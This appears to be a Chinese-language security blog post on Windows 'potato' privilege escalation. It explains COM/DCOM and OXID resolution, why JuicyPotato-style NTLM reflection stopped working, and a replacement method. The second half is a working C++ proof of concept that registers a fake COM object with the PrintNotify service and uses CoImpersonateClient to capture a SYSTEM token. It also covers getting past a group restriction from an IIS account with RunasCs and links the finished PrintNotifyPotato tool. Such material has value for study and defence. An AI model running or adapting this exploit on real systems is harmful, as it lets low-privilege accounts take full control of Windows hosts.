自从Window10 1803/Server2016及以上打了微软的补丁之后,基于OXID 反射NTLM提权已经失效了,代表作如JuicyPotato、SweetPotato,
本文将从COM开发与调用开始,寻找替代OXID 反射NTLM提权的方法
COM对象即“组件对象模型”,是一个独立于平台、分布式、面向对象的系统。它定义了一组接口和规则,用于在不同编程语言和运行环境之间交换信息和实现跨平台计算。
COM对象是COM模型中的核心概念,它表示一个可被其他程序访问和使用的组件。通常情况下,一个COM对象由两部分组成:一个接口(Interface)和一个实现(Implementation)。接口定义了该对象的功能和行为,实现则实现了接口的具体功能。
COM对象的优点在于它具有跨语言、跨平台的特性,使得不同语言、不同平台的程序能够相互调用和协作。另外,COM对象的接口和实现分离的设计方式,使得它能够更好地支持多态和继承。
总之,COM对象是COM模型中的核心概念,它表示一个可被其他程序访问和使用的组件。它由接口和实现两部分组成,接口定义了对象的功能和行为,实现则实现了接口的具体功能。COM对象具有跨语言、跨平台的特性,使得不同语言和不同平台的程序能够相互调用和协作。它的接口和实现分离的设计方式提高了程序的可重用性和可维护性。
COM(组件对象模型)是一种用于在不同软件组件之间进行通信的技术,它提供了一种方法,允许开发人员创建可以在多个软件组件之间共享的对象,从而提高了软件开发的灵活性和可重用性。
DCOM(分布式组件对象模型)是一种在网络上运行的分布式技术,它扩展了COM的功能,使得可以在不同的计算机之间进行通信和交互。
因此,COM是在客户端计算机的本地级别执行的,而DCOM则是在服务器端运行的。这意味着,DCOM比COM更具有分布式特性,可以在不同的计算机之间进行通信和交互。此外,DCOM还可以为远程组件提供安全性和访问控制,从而提高了系统的安全性。
DCOM可以为远程组件提供安全性和访问控制。它通过使用不同的安全机制,如身份验证和授权,来保护远程组件的数据和资源。这样可以防止未经授权的用户访问组件,从而提高了系统的安全性。
另外,DCOM还支持跨网络的通信,即可以在不同的网络中的计算机之间进行通信。这使得系统可以更好地支持分布式应用程序,提高了系统的可用性和可扩展性。
总之,DCOM是一种扩展了COM的技术,用于在不同的计算机之间进行通信和交互。它提供了安全性和访问控制,并支持跨网络的通信,可以更好地支持分布式应用程序。
在DCOM中,OBJREF(对象引用)是一个重要的概念。它表示一个远程对象的引用,用于在远程调用时传递对象的信息。OBJREF包含了对象的OXID、OID和IPID等信息,用于指定对象的位置和接口。
OXID(对象交互标识符)是OBJREF中的一个重要部分,它表示一个远程对象的唯一标识符,用于在远程调用时识别该对象。OXID通常由一个GUID和一个服务器地址组成,用于指定该对象所在的计算机。
OID(对象标识符)也是OBJREF中的一个重要部分,它表示一个对象的唯一标识符,用于在单个计算机中识别该对象。OID通常由一个GUID组成,用于唯一标识一个对象。
IPID(对象接口标识符)也是OBJREF中的一个重要部分,它表示一个对象的接口的唯一标识符,用于在单个计算机中识别该接口。IPID通常由一个GUID组成,用于唯一标识一个接口。
在DCOM中,OBJREF是一个重要的概念,它表示一个远程对象的引用。OBJREF包含了对象的OXID、OID和IPID等信息,用于指定对象的位置和接口。在进行远程调用时,OBJREF用于传递对象的信息,从而实现对象的交互和通信。
JuicyPotato使用CoGetInstanceFromIStorage触发远程调用,CoGetInstanceFromIStorage是一个Windows API函数,用于从一个存储对象中获取COM对象的实例。它可以通过指定服务器信息、类标识符、外部接口、上下文环境和存储对象来创建一个新的COM对象实例,并通过指定接口标识符来返回该实例。它可以用于在应用程序中访问和使用存储在存储对象中的COM对象。
在调用CoGetInstanceFromIStorage创建对象时会触发传入的IStorage接口进行加载对象,在加载对象时JuicyPotato将反序列化的类型设置成“00000306-0000-0000-C000-000000000046”PointerMoniker
PointerMoniker指的是对象的引用,也就是说在调用CoGetInstanceFromIStorage时,COM服务会获取反序列化的Class类型,然后根据类型进行下一步反序列化。
然后JuicyPotato在IStorage MarshalInterface序列化对象时,写入了引用的对象,并且将对象引用的端口监听地址修改成自己启动的假的IRemUnknownServer
然后JuicyPotato会对来自COM Server的流量进行解析,解析出NTLM认证信息再通过AcceptSecurityContext获取Token。
但是Window10 1803/Server2016 COM Server就强制规定了OXID解析的端口是135并且还是匿名登录。
当我们在调用COM方法时,有些方法可能要求我们提供一个IUnknown对象或者IDispatch,当COM Server去操作我们提供的IUnknown对象时,COM Serve会回调我们实现的对象,我们就可以通过CoImpersonateClient去模拟COM Server。
来自COM Server的调用我们实现的QueryInterface方法,我们可以在实现的QueryInterface方法模拟COM Server的权限
Demo
// PrintNotifyDemo.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include "ole2.h"
#include <comdef.h>
#include <printerextension.h>
#include <sddl.h>
GUID PrintNotifyGUID = { 0x854a20fb,0x2d44,0x457d,{0x99,0x2f,0xef,0x13,0x78,0x5d,0x2b,0x51} };
IID IID_FakeInterface = { 0x6EF2A660, 0x47C0, 0x4666, { 0xB1, 0x3D, 0xCB, 0xB7, 0x17, 0xF2, 0xFA, 0x2C, } };
class FakeObject : public IUnknown
{
LONG m_lRefCount;
void TryImpersonate()
{
if (*m_ptoken == nullptr)
{
HRESULT hr = CoImpersonateClient();
if (SUCCEEDED(hr))
{
HANDLE hToken;
if (OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, FALSE, &hToken))
{
PTOKEN_USER user = (PTOKEN_USER)malloc(0x1000);
DWORD ret_len = 0;
if (GetTokenInformation(hToken, TokenUser, user, 0x1000, &ret_len))
{
LPWSTR sid_name;
ConvertSidToStringSid(user->User.Sid, &sid_name);
if ((wcscmp(sid_name, L"S-1-5-18") == 0) && (*m_ptoken == nullptr))
{
*m_ptoken = hToken;
RevertToSelf();
}
else
{
CloseHandle(hToken);
}
printf("Got Token: %p %ls\n", hToken, sid_name);
LocalFree(sid_name);
}
else
{
printf("Error getting token user %d\n", GetLastError());
}
free(user);
}
else
{
printf("Error opening token %d\n", GetLastError());
}
}
}
}
public:
HANDLE* m_ptoken;
//Constructor, Destructor
FakeObject(HANDLE* ptoken) {
m_lRefCount = 1;
m_ptoken = ptoken;
*m_ptoken = nullptr;
}
~FakeObject() {};
//IUnknown
HRESULT __stdcall QueryInterface(REFIID riid, LPVOID* ppvObj)
{
TryImpersonate();
if (riid == __uuidof(IUnknown))
{
*ppvObj = this;
}
else if (riid == IID_FakeInterface)
{
printf("Check for FakeInterface\n");
*ppvObj = this;
}
else
{
*ppvObj = NULL;
return E_NOINTERFACE;
}
AddRef();
return NOERROR;
}
ULONG __stdcall AddRef()
{
TryImpersonate();
return InterlockedIncrement(&m_lRefCount);
}
ULONG __stdcall Release()
{
TryImpersonate();
// not thread safe
ULONG ulCount = InterlockedDecrement(&m_lRefCount);
if (0 == ulCount)
{
delete this;
}
return ulCount;
}
};
int main()
{
// 初始化COM运行时
CoInitialize(NULL);
//初始化COM运行时上下文
HRESULT hr;
IMonikerPtr pFakeObj;
HANDLE ptoken = NULL;
FakeObject* fakeObject = new FakeObject(&ptoken);
//CreatePointerMoniker(fakeObject, &pFakeObj);
IUnknown* pPrintNotify = NULL;
hr = CoCreateInstance(PrintNotifyGUID, NULL,
CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pPrintNotify));
if (SUCCEEDED(hr))
{
IConnectionPointContainer* pIPrinterExtensionServerEventCallbackInternal;
hr = pPrintNotify->QueryInterface<IConnectionPointContainer>(&pIPrinterExtensionServerEventCallbackInternal);
IEnumConnectionPoints* pIEnumConnectionPoints;
hr = pIPrinterExtensionServerEventCallbackInternal->EnumConnectionPoints(&pIEnumConnectionPoints);
LPCONNECTIONPOINT pCONNECTIONPOINT;
ULONG fetched;
hr = pIEnumConnectionPoints->Next(1, &pCONNECTIONPOINT, &fetched);
DWORD cookie;
hr = pCONNECTIONPOINT->Advise(fakeObject, &cookie);
printf("Got Token At :%p\n", fakeObject->m_ptoken);
}
else
{
printf("CoCreateInstance fail hr: %d\n",hr);
}
std::cout << "Hello World!\n";
return 0;
}
回到我们的IIS服务器,我发现创建PrintNotify失败了?
它只允许以下用户组该怎么办?
通过查找我发现一个工具可以获取INTERACTIVE用户组,https://github.com/antonioCoco/RunasCs
在调用LogonUser方法时,lsasrv不会校验用户所有的权限和用户组,直接为当前Token添加INTERACTIVE组,然后剩下的工作照常运行,PrintNotifyPotato可以在Windows 2012-2022运行
https://github.com/BeichenDream/PrintNotifyPotato
http://code.google.com/p/google-security-research/issues/detail?id=128